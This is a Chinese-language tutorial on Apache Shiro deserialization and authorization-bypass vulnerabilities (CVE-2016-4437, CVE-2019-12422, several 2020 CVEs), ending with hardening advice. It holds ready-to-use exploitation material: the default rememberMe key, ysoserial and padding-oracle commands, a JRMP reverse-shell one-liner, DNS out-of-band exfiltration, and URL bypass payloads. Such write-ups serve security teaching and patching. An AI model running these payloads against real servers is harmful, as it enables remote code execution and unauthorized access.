Apache Shiro 反序列化与权限绕过漏洞分析及利用
字数 4867
更新时间 2026-05-10 17:36:58
Apache Shiro 反序列化与权限绕过漏洞深度分析与利用教学文档
第一章:Apache Shiro 框架概述
Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,用于处理身份验证、授权、加密和会话管理等核心安全性问题。它可以在 JavaSE 和 JavaEE 环境中使用,帮助开发人员快速构建安全的应用程序。在实际的站点测试中,登录框或权限区分功能常由 Shiro 框架负责,因此其安全性备受关注。本教学文档将系统性地阐述 Shiro 框架中的反序列化与权限绕过两大核心漏洞类型。
第二章:Shiro 反序列化漏洞详解
2.1 Web 端特征与漏洞识别
在识别可能存在漏洞的 Shiro 站点时,可通过观察 Cookie 行为进行判断:
- 未登录状态:请求包的 Cookie 中没有
rememberMe字段,返回包的Set-Cookie中也没有deleteMe字段。 - 登录失败:无论是否勾选“RememberMe”选项,返回包的
Set-Cookie中都会有rememberMe=deleteMe字段。 - 登录成功(不勾选RememberMe):返回包
Set-Cookie中包含rememberMe=deleteMe字段,但后续请求的 Cookie 中不会携带rememberMe字段。 - 登录成功(勾选RememberMe):返回包
Set-Cookie中包含rememberMe=deleteMe字段,同时会生成一个rememberMe的加密值。之后的所有请求的 Cookie 中都会携带此rememberMe字段。
核心加密机制是:CBC加密算法。在CBC模式中,明文的计算公式为:明文 = 中间值 (I) XOR 前一块密文。
2.2 类型一:Shiro-550 (CVE-2016-4437)
2.2.1 漏洞原理
该漏洞的核心是 AES密钥硬编码。处理流程如下:
- 用户登录后:Shiro 将用户信息执行 序列化 -> AES 加密 -> Base64 编码,最终存入
rememberMeCookie。 - 服务器接收请求后:会进行 Base64 解码 -> AES 解密 -> 反序列化 来恢复用户信息。
- 关键问题:Shiro 在此过程中使用的 AES 密钥是硬编码在源代码中的,且默认密钥为
kPH+bIxk5D2deZiIxcaaaA==。
2.2.2 漏洞影响范围
- Apache Shiro <= 1.2.4
- 默认使用
CookieRememberMeManager处理rememberMeCookie 的系统。
2.2.3 利用总结与工具
由于密钥已知(或可通过常见密钥字典爆破得到),攻击者可以构造恶意的序列化数据,经相同密钥加密后,替换 Cookie 中的 rememberMe 值,从而实现反序列化攻击,最终可能导致远程代码执行 (RCE)。
推荐利用工具:
- ShiroAttack2:集密钥爆破、利用链探测、漏洞利用于一体的综合工具。
2.3 类型二:Shiro-721 (CVE-2019-12422) - Padding Oracle 攻击
2.3.1 漏洞原理
与 Shiro-550 不同,Shiro-721 的 AES 密钥是随机生成的,不再硬编码。漏洞的根源在于 AES-128-CBC 加密模式下的 Padding Oracle 攻击。
- 攻击前提:攻击者需要拥有一个有效的(即能通过服务器验证的)
rememberMeCookie 密文。 - 攻击本质:利用服务器在解密过程中对填充字节(Padding)有效性验证的返回差异(例如,报错信息的不同),逐步爆破出中间状态值(I),最终构造出能够通过解密验证并包含恶意序列化数据的 Cookie。
2.3.2 漏洞影响范围
- Apache Shiro < 1.4.2
2.3.3 攻击过程精析
- 解密流程:
Ciphertext (C)经 AES 解密得到Intermediate (I),I与Initialization Vector (IV)进行 XOR 运算得到Plaintext (P)。服务器会验证P的填充是否正确。 - 爆破过程(以爆破最后一个字节 IV[4] 为例):
a. 攻击者持有合法的 Cookie 密文C和其对应的初始向量IV_old。
b. 固定密文C不变,从 0x00 开始遍历修改IV_old的最后一个字节IV[4],并将修改后的IV_new与C一同发送给服务器。
c. 服务器解密后检查填充。当遍历到某个值(例如 0xAA)使得填充验证通过时,根据公式I[4] = IV_new[4] XOR P_valid_padding,可计算出I[4]的值。
d. 为了构造一个解密后为指定恶意字节P_desired的密文,可根据公式IV_forged[4] = I[4] XOR P_desired[4]计算出新的、用于替换的初始向量字节。
e. 按此方法,从最后一个字节向前逐个爆破,最终可以计算出能够使整个密文块解密为任意指定恶意明文P_desired的伪造初始向量IV_forged。
2.3.4 利用工具链
- 生成恶意序列化 payload:
java -jar ysoserial-all.jar [利用链,如 CommonsBeanutils1] “[命令]“ > payload.ser - 进行Padding Oracle攻击,生成最终的恶意Cookie:
注:此过程耗时可能较长。python2 shiro_exp.py “[目标URL]“ “[合法的rememberMe Cookie密文]“ payload.ser
2.4 类型三:密钥爆破漏洞
- 影响范围:理论上全版本,只要密钥在攻击者的爆破字典中。
- 原理:在 AES-CBC/GCM 算法中,解密所需的
IV直接包含在 Cookie 中,是已知的。唯一的未知量是密钥(Key)。因此,如果管理员未修改默认密钥或使用了弱密钥,攻击者可以通过暴力破解获取密钥,从而像利用 Shiro-550 一样发起攻击。
2.5 类型四:密钥已知但无回显的利用
在获取到有效密钥但命令执行无回显时,可采用以下方法:
2.5.1 DNS 外带 (Out-of-Band, OOB)
- 原理:让目标服务器执行一条能触发 DNS 查询的命令(如
ping或curl),将执行结果或特征通过 DNS 请求发送到攻击者控制的服务器。 - 工具:shiro_rce_tool
- 操作:在工具中输入目标地址、密钥和期望触发的 DNS 域名(如
http://yourdnslog.com),工具会尝试多种利用链。若成功,在 DNS 日志平台可看到查询记录。
2.5.2 JRMP 监听 (JRMPListener)
- 原理:在攻击者服务器上使用
ysoserial启动一个 JRMP 监听器,该监听器承载着恶意的反序列化对象。然后,构造一个使目标服务器连接到该 JRMP 监听器的rememberMeCookie,触发反序列化,从而在攻击者服务器上执行命令。 - 操作步骤:
- 准备反弹 Shell 命令:将反弹 Shell 的 Bash 命令进行 Base64 编码。
- 启动 JRMP 监听器(在攻击服务器上):
java -jar ysoserial-all.jar ysoserial.exploit.JRMPListener [监听端口] CommonsCollections2 “bash -c {echo,<base64_encoded_cmd>}|{base64,-d}|{bash,-i}” - 生成恶意 Cookie:使用
shiro_rce_tool等工具,选择 JRMP 方式,填入攻击服务器的 IP 和监听端口,生成恶意 Cookie。 - 发送请求:将生成的 Cookie 替换到请求中发送给目标。成功后,目标会连接到 JRMP 监听器,执行命令,从而建立反弹 Shell 连接。
第三章:Shiro 权限绕过漏洞详解
此系列漏洞主要由 Shiro 与底层 Web 容器(如 Tomcat)或上层框架(如 Spring)对 URL 的解析、规范化、路径匹配规则存在差异所导致。
3.1 CVE-2020-1957
- 影响版本:Shiro < 1.5.2,且 Spring 框架中只使用了 Shiro 鉴权。
- 漏洞原理:Spring 与 Shiro 对于
/和;的处理差异导致权限绕过。 - Payload:
/xxx/..;/admin/ctfer(适用于 Spring 低版本 < 2.3)/;/admin/ctfer(适用于 Spring 低版本 < 2.3)/admin;/ctfer(Spring 全版本)
3.2 CVE-2020-11989
- 影响版本:Shiro < 1.5.3,Spring 框架只使用 Shiro 鉴权。
- 漏洞原理:Spring 会进行 URL 解码直到无法解码,而 Shiro 只解码一次,这种解码次数的差异导致绕过。例如,
%25%32%66是%2f的二次 URL 编码,%2f是/。 - Payload:
/admin/a%25%32%66a-> Spring 解码为/admin/a%2fa,Shiro 可能只解码一次或按不同规则匹配。
- 其他触发条件:
- 当项目部署的 ContextPath 非根目录时(例如为
/context),可利用/;/context/admin/user绕过。
- 当项目部署的 ContextPath 非根目录时(例如为
3.3 CVE-2020-13933
- 影响版本:Shiro < 1.6.0,Spring 框架只使用 Shiro 鉴权。
- 漏洞原理:由于
getServletPath()方法在处理 URL 时出现问题,导致;被错误截断。 - Payload:
/admin/%3bctfer(其中%3b是;的 URL 编码)
3.4 CVE-2020-17523
- 影响版本:Apache Shiro < 1.7.1,Spring框架只使用Shiro鉴权。
- 漏洞原理:Shiro 在利用 Ant 风格路径匹配器进行权限校验时,对请求路径进行了不必要的
trim()操作,去除了末尾的空白字符,导致路径匹配被绕过。 - Payload:
/admin/%20(其中%20是空格)- 可替换为
%08(退格)、%09(制表符)、%0a(换行)、%0d(回车) 等其他可通过trim()删除的空白字符。注意,某些组合可能因 SpringBoot + Tomcat 的校验而返回 400 错误。
- 可替换为
- 漏洞核心:Shiro 将
/admin/%20处理后视为/admin/,而权限配置可能只拦截了/admin,从而造成绕过。
第四章:总结与防御建议
4.1 漏洞总结
- 反序列化漏洞:核心风险点在于
rememberMe功能的加密与解密过程。Shiro-550 因硬编码密钥导致直接可利用;Shiro-721 因 Padding Oracle 攻击可绕过随机密钥;密钥爆破则是针对弱密钥的补充攻击方式。 - 权限绕过漏洞:根源在于 Shiro 与 Web 容器/框架的 URL 处理逻辑不一致,主要涉及特殊字符(
;,/,%, 空白字符等)的解析、解码、截断和路径匹配规则。
4.2 安全加固建议
- 升级:及时将 Apache Shiro 升级到最新安全版本。
- 密钥:必须修改默认的
rememberMe加密密钥,并确保使用足够强且随机的密钥。 - 禁用:如非必要,考虑在配置中禁用
rememberMe功能。 - 过滤:在 Shiro 过滤器链中,对访问路径进行严格校验,避免使用存在歧义的通配符。
- 补丁:关注官方安全通告,及时应用针对权限绕过漏洞的补丁,这些补丁通常涉及对 URL 规范化逻辑的修复。
相似文章
相似文章